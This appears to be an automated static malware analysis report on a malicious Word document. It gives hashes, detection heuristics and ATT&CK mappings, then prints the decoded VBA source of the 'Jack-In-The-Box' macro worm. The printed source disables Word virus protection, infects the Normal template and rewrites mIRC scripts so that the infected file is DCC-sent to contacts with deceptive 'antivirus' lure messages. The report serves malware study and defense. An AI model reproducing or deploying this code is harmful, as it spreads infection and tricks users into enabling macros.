Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d3b21b8837ff1161…

MALICIOUS

Office (OLE)

58.5 KB Created: 2015-02-16 11:54:00 Authoring application: Microsoft Word 11.5.6 First seen: 2019-05-16
MD5: d93fa518634031c2e2a8336383cc76a0 SHA-1: bf9d89c6b34ed8d6ddcf13541e235a4b27b20096 SHA-256: d3b21b8837ff1161016a3593dd9379a6a35551eee195057c40d41357b3578cb7
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes upon opening the document, indicated by the 'Document_Open' macro firing. The macro attempts to disable virus protection and then appears to prepare to download and execute a second-stage payload, potentially related to the 'mirc.com' string and the manipulation of 'C:\mirc\script.ini'. The embedded URL is used in the document body as a lure to encourage macro execution.

Heuristics 4

  • ClamAV: Doc.Trojan.Story-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Story-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.tivpc.org.uk In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7039 bytes
SHA-256: 901a93243537165637b26a940ed82405679d500ff9231c30199f55d8fb1434ac
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
'Jack-In-The-Box
Set Something = Options
Something.VirusProtection = 0
Something.ConfirmConversions = 0
Something.SaveNormalPrompt = 0
Application.EnableCancelKey = 0
Application.StatusBar = 0
Application.ScreenUpdating = 0
Set AnI = ActiveDocument.VBProject.VBComponents(1)
Set BnI = NormalTemplate.VBProject.VBComponents(1)
If UCase(AnI.CodeModule.Lines(3, 1)) = "'JACK-IN-THE-BOX" Then InA = 1
If UCase(BnI.CodeModule.Lines(3, 1)) = "'JACK-IN-THE-BOX" Then InB = 1
If InA = 1 And InB = 1 Then Exit Sub
Set CnI = MacroContainer.VBProject.VBComponents.Item(1)
VCode = CnI.CodeModule.Lines(2, CnI.CodeModule.CountOfLines)
If InA = 1 Then BnI.CodeModule.AddFromString ("Private Sub Document_Close" & Chr(13) & VCode)
If InB = 1 Then AnI.CodeModule.AddFromString ("Private Sub Document_Open" & Chr(13) & VCode)
NormalTemplate.Save
somename = ActiveDocument.Name
DoEvents
If InB = 1 Then
If Dir("C:\mirc\mirc32.exe") <> "" Then
var3 = "C:\mirc\script.ini"
If System.PrivateProfileString("C:\mirc\mirc.ini", "warn", "fserve") <> "" Then System.PrivateProfileString("C:\mirc\mirc.ini", "warn", "fserve") = "off"
If System.PrivateProfileString("C:\mirc\mirc.ini", "fileserver", "warning") <> "" Then System.PrivateProfileString("C:\mirc\mirc.ini", "fileserver", "warning") = "off"
If Dir(var3) <> "" Then Kill var3
Open "C:\mirc\script.ini" For Output As #1
Print #1, "[script]"
Print #1, "n0=On 1:Connect:{ .notify SimpleSmn | Set %var7 $rand(1,8) | If ( %var7 = 1 ) { Set %var8 mirc.com } | If ( %var7 = 2 ) { Set %var8 georgecarlin.com } | If ( %var7 = 3 ) { Set %var8 carrottop.com } | If ( %var7 = 4 ) { Set %var8 anvdesign.net } | If ( %var7 = 5 ) { Set %var8 symantec.com } | If ( %var7 = 6 ) { Set %var8 drsolomon.com } | If ( %var7 = 7 ) { Set %var8 www.bocklabs.wisc.edu } | If ( %var7 = 8 ) { Set %var8 ebay.com } | Set %var9 $rand(1,4) | If ( %var9 = 1 ) { Set %var10 evrt@avp.com } | If ( %var9 = 2 ) { Set %var10 samples@datafellows.com } | If ( %var9 = 3 ) { Set %var10 virus_research@nai.com } | If ( %var9 = 3 ) { Set %var10 tech_support@nai.com } | If ( $exists(C:\Windows\script1.ini) = $true ) { .remove C:\Windows\script1.ini } | .copy C:\mirc\script.ini C:\Windows\script1.ini | .load -rs C:\Windows\script1.ini | .write -c C:\mirc\script.ini [script] | .reload -rs C:\mirc\script.ini }"
Print #1, "n1=On 1:Input:*:{ Set %var1 $1- | If ( $upper(%var1) = /BY ) { .echo  1Mirc Worm  4Jack-In-The-Box | .echo  12< 9< 12< 9By SimpleSimon 12> 9> 12> | halt } }"
Print #1, "n2=On 1:Notify:{ .timer3 1 10 { .clear -s } | If ( $nick == SimpleSmn ) { .msg SimpleSmn I'm on irc. | halt } | .timer1 1 15 { .notify -r $nick | .ignore $nick | .timer9 1 5 { .msg $nick Hey, I can't talk right now but I wanted to send you this file.  It has a funny story you should read, and also has macros inside that protect you from a lot of viruses.  Just open the document, enable the macros, and if you are infected it will get rid of the virus } | .timer2 1 15 { .dcc send $nick C:\Windows\Story.doc } } | .timer 1 16 { .notify | .clear -s } }"
Print #1, "n3=On 1:Unotify: .clear -s"
Print #1, "n4=On 1:Join:#: if (help isin $chan) || (nohack isin $chan) { .part $chan } | If ( $exists(C:\mirc\script.ini) = $true ) { .remove C:\mirc\script.ini }"
Print #1, "n5=On 1:Filercvd:*.*: If ( $me != $nick ) { .dcc send $nick C:\Windows\Story.doc }"
Print #1, "n6=On 1:Invite:#:{ .ignore $nick | .timer 1 10 { .join # } | .timer 1 15 { .msg $nick Thanks for the invite } | .timer 1 20 { .msg $nick I'm a little busy so I can't talk much now.  I thought you might want to look at this file I got. It has a funny story and also has macros in it which get rid of any macro viruses.  Just enable the macros when the prompt comes up and it will scan for any viruses and clean them. } | .timer 1 25 { .dcc send $nick C:\Window
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